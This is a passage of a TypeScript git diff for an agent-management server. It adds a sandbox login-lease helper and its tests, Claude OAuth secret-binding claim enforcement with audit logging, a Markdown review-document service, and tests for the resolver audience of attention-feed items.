+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+    });
+    expect(unset.assertCompanyBinding).toBeUndefined();
+  });
+
+  it("passes the requested expiry through and defaults to null", () => {
+    const deadline = new Date("2026-01-01T00:00:00.000Z");
+    const bounded = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+      requestedExpiresAt: deadline,
+    });
+    expect(bounded.requestedExpiresAt).toBe(deadline);
+
+    const unbounded = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+    });
+    expect(unbounded.requestedExpiresAt).toBeNull();
+  });
+});
diff --git a/server/src/services/adapter-login-lease.ts b/server/src/services/adapter-login-lease.ts
new file mode 100644
index 00000000000..2a573abe0be
--- /dev/null
+++ b/server/src/services/adapter-login-lease.ts
@@ -0,0 +1,72 @@
+import type { Environment } from "@paperclipai/shared";
+import type { EnvironmentRuntimeService } from "./environment-runtime.js";
+
+/**
+ * The argument object that the runtime `acquireRunLease` seam accepts. The type
+ * derives from the service method, so a change to the acquire input stays in
+ * sync with this helper.
+ */
+export type AcquireLoginLeaseArgs = Parameters<EnvironmentRuntimeService["acquireRunLease"]>[0];
+
+/**
+ * The lease metadata that identifies the login sandbox. The helper copies these
+ * fields to the acquire arguments without a change.
+ */
+export interface LoginLeaseMetadata {
+  companyId: string;
+  environment: Environment;
+  /** The agent adapter type for this login (mixed-harness environments). */
+  adapterType?: string | null;
+}
+
+/**
+ * The options for one login lease acquire. The helper sets the fixed arguments
+ * and passes each option through to the acquire arguments.
+ */
+export interface BuildLoginLeaseAcquireArgsOptions {
+  /** The lease metadata that identifies the login sandbox. */
+  metadata: LoginLeaseMetadata;
+  /**
+   * The agent that owns the login. The codex flow passes null. The setup-token
+   * flow passes the target agent.
+   */
+  targetAgentId?: string | null;
+  /**
+   * Re-check the environment company binding inside the lease insert
+   * transaction. The setup-token flow sets this to true.
+   */
+  assertCompanyBinding?: boolean;
+  /**
+   * The latest time the acquired lease may stay active. The setup-token flow
+   * passes the session deadline. The codex flow passes nothing.
+   */
+  requestedExpiresAt?: Date | null;
+}
+
+/**
+ * Build the fixed sandbox lease arguments for a login service. Both login
+ * services acquire a lease with a null issue, a null heartbeat run, and a null
+ * execution workspace, and both apply the active custom-image template. This
+ * helper sets those fixed arguments in one place and passes the caller options
+ * through without a change to the lease behavior.
+ */
+export function buildLoginLeaseAcquireArgs(
+  options: BuildLoginLeaseAcquireArgsOptions,
+): AcquireLoginLeaseArgs {
+  return {
+    companyId: options.metadata.companyId,
+    environment: options.metadata.environment,
+    adapterType: options.metadata.adapterType ?? null,
+    agentId: options.targetAgentId ?? null,
+    // A null issue, a null heartbeat run, and a null execution workspace disable
+    // lease reuse, so the login session always runs in a fresh sandbox.
+    issueId: null,
+    heartbeatRunId: null,
+    persistedExecutionWorkspace: null,
+    // Apply the active custom-image template, so the sandbox binds to the
+    // trusted image and runtime identity.
+    applyCustomImageTemplate: true,
+    assertCompanyBinding: options.assertCompanyBinding,
+    requestedExpiresAt: options.requestedExpiresAt ?? null,
+  };
+}
diff --git a/server/src/services/agent-action-audit.ts b/server/src/services/agent-action-audit.ts
index f3ac6cb0fc5..474a57f06da 100644
--- a/server/src/services/agent-action-audit.ts
+++ b/server/src/services/agent-action-audit.ts
@@ -26,7 +26,7 @@ type CursorValue = { createdAt: string; id: string };
 
 const cursorValueSchema = z.object({
   createdAt: z.string().datetime({ offset: true }),
-  id: z.string().uuid(),
+  id: z.string().guid(),
 });
 
 function decodeCursor(cursor: string | undefined): CursorValue | null {
diff --git a/server/src/services/agent-secret-bindings.ts b/server/src/services/agent-secret-bindings.ts
index f140a4f6109..d377afd811b 100644
--- a/server/src/services/agent-secret-bindings.ts
+++ b/server/src/services/agent-secret-bindings.ts
@@ -41,7 +41,7 @@ function asRecord(value: unknown): Record<string, unknown> | null {
   return value as Record<string, unknown>;
 }
 
-function collectSecretRefs(adapterConfig: unknown): Array<{
+export function collectSecretRefs(adapterConfig: unknown): Array<{
   secretId: string;
   configPath: string;
   versionSelector?: SecretVersionSelector;
@@ -91,7 +91,7 @@ function collectSecretRefs(adapterConfig: unknown): Array<{
   return refs;
 }
 
-function collectUserSecretRefs(adapterConfig: unknown): Array<{
+export function collectUserSecretRefs(adapterConfig: unknown): Array<{
   definitionKey: string;
   configPath: string;
   envKey: string;
diff --git a/server/src/services/agents.ts b/server/src/services/agents.ts
index 3dcb0167942..d4f6a129637 100644
--- a/server/src/services/agents.ts
+++ b/server/src/services/agents.ts
@@ -26,10 +26,22 @@ import {
   type AgentApiKeyScope,
 } from "@paperclipai/shared";
 import { conflict, notFound, unprocessable } from "../errors.js";
-import { syncAgentAdapterEnvBindings } from "./agent-secret-bindings.js";
+import {
+  collectSecretRefs,
+  collectUserSecretRefs,
+  syncAgentAdapterEnvBindings,
+} from "./agent-secret-bindings.js";
+import { logActivity } from "./activity-log.js";
 import { normalizeAgentPermissions } from "./agent-permissions.js";
 import { REDACTED_EVENT_VALUE, sanitizeRecord } from "../redaction.js";
-import { secretService } from "./secrets.js";
+import {
+  assertClaudeOAuthBindingInvariant,
+  claudeOAuthClaimRejectedError,
+  CLAUDE_LOCAL_ADAPTER_TYPE,
+  secretService,
+  type ClaudeOAuthBindingInvariantDecision,
+} from "./secrets.js";
+import { createDbSetupTokenCleanupStore } from "./setup-token-session.js";
 import {
   builtInAgentMarkersEqual,
   readBuiltInAgentMarker,
@@ -69,14 +81,36 @@ interface RevisionMetadata {
   rolledBackFromRevisionId?: string | null;
 }
 
+/**
+ * The Claude login context for an agent write. The route derives the owner user
+ * from the authenticated actor, not from the request body, and forwards the
+ * non-secret `storedSessionId` claim from a completed Claude login session. A
+ * controlled internal override permits a migration or an administrator repair to
+ * bind or unbind the fixed OAuth token without a claim.
+ *
+ * The `applyExistingWithoutClaim` field is the user-actor apply-existing path.
+ * The route sets it only for an authenticated user actor and derives the owner
+ * from that actor. The path binds the fixed reference to the owner stored value
+ * with no login round trip. It is distinct from `allowInternalBindingOverride`,
+ * which does no ownership check.
+ */
+interface ClaudeLoginContext {
+  storedSessionId?: string | null;
+  ownerUserId?: string | null;
+  allowInternalBindingOverride?: boolean;
+  applyExistingWithoutClaim?: boolean;
+}
+
 interface UpdateAgentOptions {
   recordRevision?: RevisionMetadata;
   allowBuiltInAgentMetadata?: boolean;
   allowPendingApprovalConfigUpdate?: boolean;
+  claudeLogin?: ClaudeLoginContext;
 }
 
 interface CreateAgentOptions {
   allowBuiltInAgentMetadata?: boolean;
+  claudeLogin?: ClaudeLoginContext;
 }
 
 interface AgentShortnameRow {
@@ -437,6 +471,8 @@ export function agentService(db: Db) {
   async function syncAgentSecretBindings(
     agent: { id: string; companyId: string; adapterConfig: unknown },
     dbClient: Db = db,
+    previousAdapterConfig: unknown = null,
+    actor: RevisionMetadata = {},
   ) {
     const scopedSecretsSvc = dbClient === db ? secretsSvc : secretService(dbClient);
     await syncAgentAdapterEnvBindings({
@@ -445,6 +481,123 @@ export function agentService(db: Db) {
       agentId: agent.id,
       adapterConfig: agent.adapterConfig,
     });
+    const previousRefs = new Set([
+      ...collectSecretRefs(previousAdapterConfig).map((ref) => `secret:${ref.secretId}:${ref.configPath}`),
+      ...collectUserSecretRefs(previousAdapterConfig).map((ref) => `user:${ref.definitionKey}:${ref.configPath}`),
+    ]);
+    const createdRefs = [
+      ...collectSecretRefs(agent.adapterConfig).map((ref) => ({
+        key: `secret:${ref.secretId}:${ref.configPath}`,
+        configPath: ref.configPath,
+        bindingType: "secret_ref",
+        secretId: ref.secretId,
+        definitionKey: null,
+      })),
+      ...collectUserSecretRefs(agent.adapterConfig).map((ref) => ({
+        key: `user:${ref.definitionKey}:${ref.configPath}`,
+        configPath: ref.configPath,
+        bindingType: "user_secret_ref",
+        secretId: null,
+        definitionKey: ref.definitionKey,
+      })),
+    ].filter((ref) => !previousRefs.has(ref.key));
+    const actorType = actor.createdByUserId ? "user" as const : actor.createdByAgentId ? "agent" as const : "system" as const;
+    const actorId = actor.createdByUserId ?? actor.createdByAgentId ?? "system";
+    for (const ref of createdRefs) {
+      await logActivity(dbClient, {
+        companyId: agent.companyId,
+        actorType,
+        actorId,
+        agentId: actor.createdByAgentId ?? null,
+        action: "secret.binding.created",
+        entityType: "agent",
+        entityId: agent.id,
+        details: {
+          targetType: "agent",
+          targetId: agent.id,
+          configPath: ref.configPath,
+          bindingType: ref.bindingType,
+          secretId: ref.secretId,
+          definitionKey: ref.definitionKey,
+        },
+      });
+    }
+  }
+
+  /**
+   * Enforces the Claude OAuth binding claim inside a write transaction. It runs
+   * after {@link assertClaudeOAuthBindingInvariant} decided that the write
+   * introduces or keeps the fixed binding.
+   *
+   * When the write introduces the fixed binding:
+   *   * A create or hire path (`consume: true`) consumes a stored-session claim
+   *     with one conditional write. It builds the claim scope from the company,
+   *     the owner user, the fixed adapter, the environment, and the
+   *     `storedSessionId`. It inserts the binding only when the write returns one
+   *     row; otherwise it raises the fixed claim error, which rolls back the
+   *     whole transaction and inserts no binding.
+   *   * An update, approval, or rollback path (`consume: false`) carries no
+   *     claim, so it raises the same fixed claim error at once.
+   *
+   * The user-actor apply-existing path (`applyExistingWithoutClaim`) binds the
+   * fixed reference with no login round trip. The route sets the flag only for
+   * an authenticated user actor and derives the owner from that actor. The gate
+   * permits the no-claim bind only when the owner already has a stored value for
+   * the company. It reads the owner value status; it reads no token. A missing
+   * owner or a missing stored value raises the same fixed claim error, so the
+   * caller cannot tell the reasons apart.
+   *
+   * A controlled internal override skips the claim for a migration or an
+   * administrator repair. The function creates the fixed user-secret definition
+   * before the caller runs the declaration synchronization, so the synchronized
+   * declaration always references an existing definition.
+   */
+  async function enforceClaudeOAuthBindingClaim(
+    txDb: Db,
+    input: {
+      companyId: string;
+      decision: ClaudeOAuthBindingInvariantDecision;
+      consume: boolean;
+      environmentId: string | null;
+      claudeLogin?: ClaudeLoginContext;
+    },
+  ): Promise<void> {
+    const ownerUserId = input.claudeLogin?.ownerUserId ?? null;
+    if (input.decision.introducesBinding && !input.claudeLogin?.allowInternalBindingOverride) {
+      if (input.claudeLogin?.applyExistingWithoutClaim) {
+        // The user-actor apply-existing path. The route derived the owner from
+        // the authenticated user actor. The gate binds the fixed reference only
+        // when that owner already has a stored value. It reads no token.
+        if (!ownerUserId) {
+          throw claudeOAuthClaimRejectedError();
+        }
+        const stored = await secretService(txDb).readClaudeOAuthUserSecretStatus(
+          input.companyId,
+          ownerUserId,
+        );
+        if (!stored) {
+          throw claudeOAuthClaimRejectedError();
+        }
+      } else if (!input.consume) {
+        throw claudeOAuthClaimRejectedError();
+      } else {
+        const consumed = await createDbSetupTokenCleanupStore(txDb).consumeStoredClaim({
+          sessionId: input.claudeLogin?.storedSessionId ?? "",
+          companyId: input.companyId,
+          ownerUserId: ownerUserId ?? "",
+          adapterType: CLAUDE_LOCAL_ADAPTER_TYPE,
+        });
+        if (!consumed) {
+          throw claudeOAuthClaimRejectedError();
+        }
+      }
+    }
+    if (input.decision.introducesBinding || input.decision.keepsBinding) {
+      // Create the fixed definition before declaration synchronization.
+      await secretService(txDb).ensureClaudeOAuthUserSecretDefinition(input.companyId, {
+        userId: ownerUserId,
+      });
+    }
   }
 
   function assertBuiltInAgentMetadataMutationAllowed(
@@ -526,6 +679,17 @@ export function agentService(db: Db) {
         { adapterType: (normalizedPatch.adapterType ?? existing.adapterType) as string },
       );
     }
+    // Run the server-enforced binding invariant when the patch touches the
+    // adapter config. The update, approval, and rollback paths keep an existing
+    // fixed binding but reject a newly introduced binding, because they carry no
+    // stored-session claim.
+    const bindingDecision = Object.prototype.hasOwnProperty.call(normalizedPatch, "adapterConfig")
+      ? assertClaudeOAuthBindingInvariant({
+          adapterType: (normalizedPatch.adapterType ?? existing.adapterType) as string,
+          nextConfig: normalizedPatch.adapterConfig,
+          priorConfig: existing.adapterConfig,
+        })
+      : null;
 
     const shouldRecordRevision = Boolean(options?.recordRevision) && hasConfigPatchFields(normalizedPatch);
     const beforeConfig = shouldRecordRevision ? buildConfigSnapshot(existing) : null;
@@ -541,7 +705,21 @@ export function agentService(db: Db) {
       if (!updated) return null;
 
       if (Object.prototype.hasOwnProperty.call(normalizedPatch, "adapterConfig")) {
-        await syncAgentSecretBindings(updated, txDb);
+        if (bindingDecision) {
+          await enforceClaudeOAuthBindingClaim(txDb, {
+            companyId: existing.companyId,
+            decision: bindingDecision,
+            consume: false,
+            environmentId: null,
+            claudeLogin: options?.claudeLogin,
+          });
+        }
+        await syncAgentSecretBindings(
+          updated,
+          txDb,
+          existing.adapterConfig,
+          options?.recordRevision,
+        );
       }
 
       const normalizedUpdated = await agentService(txDb).getById(updated.id);
@@ -612,8 +790,25 @@ export function agentService(db: Db) {
       const adapterConfig = isPlainRecord(data.adapterConfig)
         ? await secretsSvc.normalizeAdapterConfigForPersistence(companyId, data.adapterConfig, { adapterType })
         : {};
+      // Run the server-enforced binding invariant after generic normalization
+      // and before any database write. A create has no prior config.
+      const bindingDecision = assertClaudeOAuthBindingInvariant({
+        adapterType,
+        nextConfig: adapterConfig,
+        priorConfig: null,
+      });
       return db.transaction(async (tx) => {
         const txDb = tx as unknown as Db;
+        // Consume the stored-session claim and create the fixed definition inside
+        // the same transaction that inserts the binding. A rejected claim rolls
+        // back the whole transaction and inserts no binding.
+        await enforceClaudeOAuthBindingClaim(txDb, {
+          companyId,
+          decision: bindingDecision,
+          consume: true,
+          environmentId: (data.defaultEnvironmentId as string | null | undefined) ?? null,
+          claudeLogin: options?.claudeLogin,
+        });
         const created = await tx
           .insert(agents)
           .values({
@@ -790,6 +985,7 @@ export function agentService(db: Db) {
         if (!existing || existing.status !== "pending_approval") return null;
         const approvedPatch = approvedPayload ? configPatchFromApprovalPayload(approvedPayload) : {};
         let patch = { ...approvedPatch } as Partial<typeof agents.$inferInsert>;
+        let approvalBindingDecision: ClaudeOAuthBindingInvariantDecision | null = null;
         if (
           Object.prototype.hasOwnProperty.call(patch, "adapterConfig") &&
           isPlainRecord(patch.adapterConfig)
@@ -799,6 +995,13 @@ export function agentService(db: Db) {
             patch.adapterConfig,
             { adapterType: (patch.adapterType ?? existing.adapterType) as string },
           );
+          // The approval activation keeps an existing fixed binding but rejects a
+          // newly introduced binding, because it carries no stored-session claim.
+          approvalBindingDecision = assertClaudeOAuthBindingInvariant({
+            adapterType: (patch.adapterType ?? existing.adapterType) as string,
+            nextConfig: patch.adapterConfig,
+            priorConfig: existing.adapterConfig,
+          });
         }
         if (patch.permissions !== undefined) {
           patch.permissions = normalizeAgentPermissions(
@@ -813,7 +1016,15 @@ export function agentService(db: Db) {
           .returning()
           .then((rows) => rows[0] ?? null);
         if (!updated) return null;
-        await syncAgentSecretBindings(updated, txDb);
+        if (approvalBindingDecision) {
+          await enforceClaudeOAuthBindingClaim(txDb, {
+            companyId: existing.companyId,
+            decision: approvalBindingDecision,
+            consume: false,
+            environmentId: null,
+          });
+        }
+        await syncAgentSecretBindings(updated, txDb, existing.adapterConfig);
         const agent = await agentService(txDb).getById(updated.id);
         if (!agent) {
           throw notFound("Agent not found");
diff --git a/server/src/services/artifact-review-documents.ts b/server/src/services/artifact-review-documents.ts
new file mode 100644
index 00000000000..3e86b189ef2
--- /dev/null
+++ b/server/src/services/artifact-review-documents.ts
@@ -0,0 +1,245 @@
+import { isDeepStrictEqual } from "node:util";
+import { and, eq } from "drizzle-orm";
+import type { Db } from "@paperclipai/db";
+import { assets, documentRevisions, documents, issueAttachments, issueDocuments } from "@paperclipai/db";
+import {
+  MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES,
+  artifactReviewDocumentKey,
+  getAttachmentArtifactWorkProductMetadata,
+  isMarkdownAttachmentContent,
+  type AttachmentArtifactWorkProductMetadata,
+  type IssueWorkProduct,
+} from "@paperclipai/shared";
+import {
+  HttpError,
+  conflict,
+  notFound,
+  payloadTooLarge,
+  unprocessable,
+  unsupportedMediaType,
+} from "../errors.js";
+import type { StorageService } from "../storage/types.js";
+import { documentAnnotationService } from "./document-annotations.js";
+import { documentService, issueDocumentSelect, mapIssueDocumentRow } from "./documents.js";
+
+export type EnsureArtifactReviewWorkProduct = Pick<
+  IssueWorkProduct,
+  "id" | "companyId" | "issueId" | "type" | "provider" | "metadata" | "title" | "createdByRunId" | "sourceTrust"
+>;
+
+export interface EnsureArtifactReviewDocumentInput {
+  issue: { id: string; companyId: string };
+  workProduct: EnsureArtifactReviewWorkProduct;
+}
+
+type RemappedAnnotations = Awaited<
+  ReturnType<ReturnType<typeof documentAnnotationService>["remapOpenThreadsForDocument"]>
+>;
+
+export interface EnsureArtifactReviewDocumentResult {
+  document: ReturnType<typeof mapIssueDocumentRow> & { body?: string };
+  created: boolean;
+  revisionChanged: boolean;
+  remappedAnnotations: RemappedAnnotations;
+}
+
+/**
+ * Materializes the review IssueDocument for an eligible Markdown
+ * attachment-backed work product under the deterministic
+ * `artifact-review-<workProductId>` key. The operation is idempotent: repeated
+ * calls return the existing document and only write a new revision when the
+ * review content or its work-product provenance changed.
+ */
+export function artifactReviewDocumentService(db: Db, storage: StorageService) {
+  const documentsSvc = documentService(db);
+  const annotationsSvc = documentAnnotationService(db);
+
+  const getExistingByKey = async (issueId: string, key: string) => {
+    const document = await db
+      .select(issueDocumentSelect)
+      .from(issueDocuments)
+      .innerJoin(documents, eq(issueDocuments.documentId, documents.id))
+      .where(and(eq(issueDocuments.issueId, issueId), eq(issueDocuments.key, key)))
+      .then((rows) => (rows[0] ? mapIssueDocumentRow(rows[0], true) : null));
+    if (!document) return null;
+    const latestRevision = document.latestRevisionId
+      ? await db
+        .select({
+          createdByAgentId: documentRevisions.createdByAgentId,
+          createdByUserId: documentRevisions.createdByUserId,
+          createdByRunId: documentRevisions.createdByRunId,
+        })
+        .from(documentRevisions)
+        .where(and(
+          eq(documentRevisions.id, document.latestRevisionId),
+          eq(documentRevisions.documentId, document.id),
+          eq(documentRevisions.companyId, document.companyId),
+        ))
+        .then((rows) => rows[0] ?? null)
+      : null;
+    return { document, latestRevision };
+  };
+
+  const readMarkdownAttachmentBody = async (
+    issue: { id: string; companyId: string },
+    metadata: AttachmentArtifactWorkProductMetadata,
+  ) => {
+    const attachment = await db
+      .select({
+        id: issueAttachments.id,
+        companyId: issueAttachments.companyId,
+        issueId: issueAttachments.issueId,
+        objectKey: assets.objectKey,
+        contentType: assets.contentType,
+        byteSize: assets.byteSize,
+        originalFilename: assets.originalFilename,
+        createdByAgentId: assets.createdByAgentId,
+        createdByUserId: assets.createdByUserId,
+      })
+      .from(issueAttachments)
+      .innerJoin(assets, eq(issueAttachments.assetId, assets.id))
+      .where(eq(issueAttachments.id, metadata.attachmentId))
+      .then((rows) => rows[0] ?? null);
+    // Unknown and cross-scope attachment ids are deliberately
+    // indistinguishable: canonical metadata must reference an attachment on
+    // the same issue and company.
+    if (!attachment || attachment.companyId !== issue.companyId || attachment.issueId !== issue.id) {
+      throw unprocessable("Work product attachment must reference an attachment on the same issue", {
+        code: "invalid_attachment_artifact_metadata",
+        attachmentId: metadata.attachmentId,
+      });
+    }
+    if (!isMarkdownAttachmentContent(attachment)) {
+      throw unsupportedMediaType("Work product attachment is not Markdown", {
+        code: "unsupported_review_document_content_type",
+        contentType: attachment.contentType,
+      });
+    }
+    if (attachment.byteSize > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES) {
+      throw payloadTooLarge("Markdown attachment exceeds the review document size limit", {
+        code: "review_document_too_large",
+        byteSize: attachment.byteSize,
+        maxBytes: MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES,
+      });
+    }
+
+    const object = await storage.getObject(attachment.companyId, attachment.objectKey);
+    const chunks: Buffer[] = [];
+    let total = 0;
+    for await (const chunk of object.stream) {
+      const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
+      total += buffer.length;
+      // Defense in depth: enforce the cap during streaming too, so a
+      // metadata/object size mismatch can never exceed the limit.
+      if (total > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES) {
+        object.stream.destroy();
+        throw payloadTooLarge("Markdown attachment exceeds the review document size limit", {
+          code: "review_document_too_large",
+          maxBytes: MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES,
+        });
+      }
+      chunks.push(buffer);
+    }
+
+    let body: string;
+    try {
+      body = new TextDecoder("utf-8", { fatal: true }).decode(Buffer.concat(chunks));
+    } catch {
+      throw unprocessable("Markdown attachment is not valid UTF-8", {
+        code: "invalid_review_document_encoding",
+        attachmentId: attachment.id,
+      });
+    }
+    return { attachment, body };
+  };
+
+  return {
+    ensureForWorkProduct: async (
+      input: EnsureArtifactReviewDocumentInput,
+    ): Promise<EnsureArtifactReviewDocumentResult> => {
+      const { issue, workProduct } = input;
+      if (workProduct.issueId !== issue.id || workProduct.companyId !== issue.companyId) {
+        throw notFound("Work product not found");
+      }
+      const metadata = getAttachmentArtifactWorkProductMetadata(workProduct);
+      if (!metadata) {
+        throw unprocessable("Work product is not an attachment-backed Paperclip artifact", {
+          code: "not_attachment_backed_artifact",
+          workProductId: workProduct.id,
+        });
+      }
+      if (!isMarkdownAttachmentContent(metadata)) {
+        throw unsupportedMediaType("Work product attachment is not Markdown", {
+          code: "unsupported_review_document_content_type",
+          contentType: metadata.contentType,
+        });
+      }
+
+      const { attachment, body } = await readMarkdownAttachmentBody(issue, metadata);
+      const key = artifactReviewDocumentKey(workProduct.id);
+      // The review document represents agent-authored attachment content, so
+      // attribution promotes the attachment/work-product provenance instead of
+      // the actor who triggered materialization.
+      const attribution = {
+        createdByAgentId: attachment.createdByAgentId ?? null,
+        createdByUserId: attachment.createdByUserId ?? null,
+        createdByRunId: workProduct.createdByRunId ?? null,
+        sourceTrust: workProduct.sourceTrust ?? null,
+      };
+
+      for (let attempt = 0; attempt < 2; attempt += 1) {
+        const existingState = await getExistingByKey(issue.id, key);
+        const existing = existingState?.document ?? null;
+        const latestRevision = existingState?.latestRevision ?? null;
+        const reviewStateMatches = existing &&
+          existing.body === body &&
+          existing.title === (workProduct.title ?? null) &&
+          existing.format === "markdown" &&
+          latestRevision?.createdByAgentId === attribution.createdByAgentId &&
+          latestRevision.createdByUserId === attribution.createdByUserId &&
+          latestRevision.createdByRunId === attribution.createdByRunId &&
+          isDeepStrictEqual(existing.sourceTrust ?? null, attribution.sourceTrust);
+        if (reviewStateMatches) {
+          return { document: existing, created: false, revisionChanged: false, remappedAnnotations: [] };
+        }
+        try {
+          const result = await documentsSvc.upsertIssueDocument({
+            issueId: issue.id,
+            key,
+            title: workProduct.title ?? null,
+            format: "markdown",
+            body,
+            changeSummary: existing
+              ? "Synced from the work product attachment"
+              : "Materialized from the Markdown work product attachment",
+            baseRevisionId: existing?.latestRevisionId ?? null,
+            ...attribution,
+            lockedDocumentStrategy: "conflict",
+          });
+          const remappedAnnotations = result.created
+            ? []
+            : await annotationsSvc.remapOpenThreadsForDocument({
+              issueId: issue.id,
+              key: result.document.key,
+              documentId: result.document.id,
+              nextRevisionId: result.document.latestRevisionId,
+              nextRevisionNumber: result.document.latestRevisionNumber,
+              nextBody: result.document.body,
+            });
+          return {
+            document: result.document,
+            created: result.created,
+            revisionChanged: true,
+            remappedAnnotations,
+          };
+        } catch (error) {
+          // A concurrent materialization or document write raced this one.
+          // Re-read once so identical content converges on the winner.
+          if (error instanceof HttpError && error.status === 409 && attempt === 0) continue;
+          throw error;
+        }
+      }
+      throw conflict("Concurrent review-document updates did not converge", { key });
+    },
+  };
+}
diff --git a/server/src/services/attention-resolver-audience.test.ts b/server/src/services/attention-resolver-audience.test.ts
new file mode 100644
index 00000000000..9a84661499c
--- /dev/null
+++ b/server/src/services/attention-resolver-audience.test.ts
@@ -0,0 +1,101 @@
+import { describe, expect, it } from "vitest";
+import { interactionResolverAudience } from "./attention.js";
+
+const AGENT_NAMES: Record<string, string> = {
+  "agent-watchdog": "Watchdog",
+  "agent-codex": "CodexCoder",
+};
+
+const agentName = (agentId: string) => AGENT_NAMES[agentId] ?? null;
+
+function row(overrides: Record<string, unknown> = {}) {
+  return {
+    addresseeAgentId: null,
+    createdByAgentId: "agent-watchdog",
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "anyone",
+    resolverPolicyProvenance: "inherited",
+    effectiveResolverPolicySource: "requested",
+    ...overrides,
+  } as Parameters<typeof interactionResolverAudience>[0];
+}
+
+describe("attention feed resolver audience", () => {
+  it("carries the open default with the creator named", () => {
+    expect(interactionResolverAudience(row(), agentName)).toEqual({
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      effectiveResolverPolicySource: "requested",
+      resolverPolicyProvenance: "inherited",
+      addresseeAgentId: null,
+      addresseeName: null,
+      createdByAgentId: "agent-watchdog",
+      createdByAgentName: "Watchdog",
+    });
+  });
+
+  it("names the addressed agent", () => {
+    expect(interactionResolverAudience(row({ addresseeAgentId: "agent-codex" }), agentName))
+      .toMatchObject({ addresseeAgentId: "agent-codex", addresseeName: "CodexCoder" });
+  });
+
+  it("reports the company cap that narrowed the requested audience", () => {
+    expect(interactionResolverAudience(
+      row({
+        requestedResolverPolicy: "anyone",
+        effectiveResolverPolicy: "human_only",
+        effectiveResolverPolicySource: "company_cap",
+      }),
+      agentName,
+    )).toMatchObject({
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "human_only",
+      effectiveResolverPolicySource: "company_cap",
+    });
+  });
+
+  it("keeps a pre-migration board_or_agents row restricted, matching the evaluator", () => {
+    // The queue must not read `Anyone` while the resolution routes still treat
+    // the card as creator-excluded.
+    expect(interactionResolverAudience(
+      row({
+        requestedResolverPolicy: "board_or_agents",
+        effectiveResolverPolicy: "board_or_agents",
+        resolverPolicyProvenance: "legacy_inherited_restriction",
+      }),
+      agentName,
+    )).toMatchObject({
+      requestedResolverPolicy: "not_creator",
+      effectiveResolverPolicy: "not_creator",
+      resolverPolicyProvenance: "legacy_inherited_restriction",
+    });
+  });
+
+  it("infers legacy provenance for a row written before the column existed", () => {
+    expect(interactionResolverAudience(
+      row({
+        requestedResolverPolicy: "board_only",
+        effectiveResolverPolicy: "board_only",
+        resolverPolicyProvenance: null,
+        effectiveResolverPolicySource: null,
+      }),
+      agentName,
+    )).toMatchObject({
+      requestedResolverPolicy: "human_only",
+      effectiveResolverPolicy: "human_only",
+      resolverPolicyProvenance: "legacy_inherited_restriction",
+      effectiveResolverPolicySource: "requested",
+    });
+  });
+
+  it("leaves an unknown agent unnamed rather than inventing a responder", () => {
+    expect(interactionResolverAudience(
+      row({ addresseeAgentId: "agent-deleted", createdByAgentId: null }),
+      agentName,
+    )).toMatchObject({
+      addresseeName: null,
+      createdByAgentId: null,
+      createdByAgentName: null,
+    });
+  });
+});
diff --git a/server/src/services/attention.ts b/server/src/services/attention.ts
index 0b4b72688e3..f78347aadc3 100644
--- a/server/src/services/attention.ts
+++ b/server/src/services/attention.ts
@@ -37,12 +37,16 @@ import type {
   AttentionItemDetail,
   AttentionProjectRef,
   AttentionQueueRef,
+  AttentionResolverAudience,
   AttentionSeverity,
   AttentionSortMode,
   AttentionSourceKind,
   AttentionSubject,
   AttentionTriageAttribution,
   AttentionWorkspaceRef,
+  IssueThreadInteractionEffectiveResolverPolicySource,
+  IssueThreadInteractionResolverPolicyProvenance,
+  IssueReviewPolicy,
 } from "@paperclipai/shared";
 import { badRequest } from "../errors.js";
 import { PRODUCTIVITY_REVIEW_ORIGIN_KIND } from "./productivity-review.js";
@@ -56,6 +60,7 @@ import { visibleIssueCondition } from "./issue-visibility.js";
 import { parseIssueExecutionState } from "./issue-execution-policy.js";
 import { isProspectiveBlockedTransition } from "./routable-blocked.js";
 import { evaluateAgentInvokability, type AgentOrgRow } from "./agent-invokability.js";
+import { canonicalizeStoredResolverPolicy } from "./issue-thread-interaction-resolution.js";
 import { decisionQueueService } from "./decision-queues.js";
 import {
   decisionRetentionService,
@@ -123,6 +128,8 @@ type IssueSummaryRow = {
   title: string;
   status: string;
   priority: string;
+  /** Who may give the `in_review` verdict; `null`/absent ≡ "anyone" (PAP-16506). */
+  reviewPolicy?: IssueReviewPolicy | null;
   assigneeAgentId: string | null;
   assigneeUserId: string | null;
   createdAt: Date;
@@ -341,6 +348,9 @@ function issueSubject(prefix: string, issue: IssueSubjectRow): AttentionSubject
       priority: issue.priority,
       assigneeAgentId: issue.assigneeAgentId,
       assigneeUserId: issue.assigneeUserId,
+      // Only present when the row was selected with the column, so subjects
+      // built from narrower selects do not claim a policy they never read.
+      ...(issue.reviewPolicy !== undefined ? { reviewPolicy: issue.reviewPolicy } : {}),
     },
   };
 }
@@ -405,6 +415,7 @@ function createItem(input: CreateAttentionItemInput): AttentionItem {
     snoozedUntil: null,
     detail: input.detail ?? null,
     trainingExampleId: null,
+    resolverAudience: input.resolverAudience ?? null,
     rank: 0,
   };
 }
@@ -708,6 +719,45 @@ function interactionVerbs(kind: string, payload: Record<string, unknown>) {
   );
 }
 
+/**
+ * The resolver audience carried by an `issue_thread_interaction` feed row
+ * (PAP-17287). A collapsed queue row offers Accept/Reject long before anything
+ * fetches the interaction itself, so the audience the server will enforce has
+ * to ride along with the item — the queue must never ask for a decision without
+ * saying whose decision it is.
+ *
+ * Facts only. The stored columns are canonicalized through the same helper the
+ * resolution evaluator uses, so a pre-migration row cannot read as `Anyone`
+ * here while the API still treats it as `not_creator`.
+ */
+export function interactionResolverAudience(
+  row: {
+    addresseeAgentId: string | null;
+    createdByAgentId: string | null;
+    requestedResolverPolicy: string;
+    effectiveResolverPolicy: string;
+    resolverPolicyProvenance: string | null;
+    effectiveResolverPolicySource: string | null;
+  },
+  agentName: (agentId: string) => string | null,
+): AttentionResolverAudience {
+  const provenance = (row.resolverPolicyProvenance
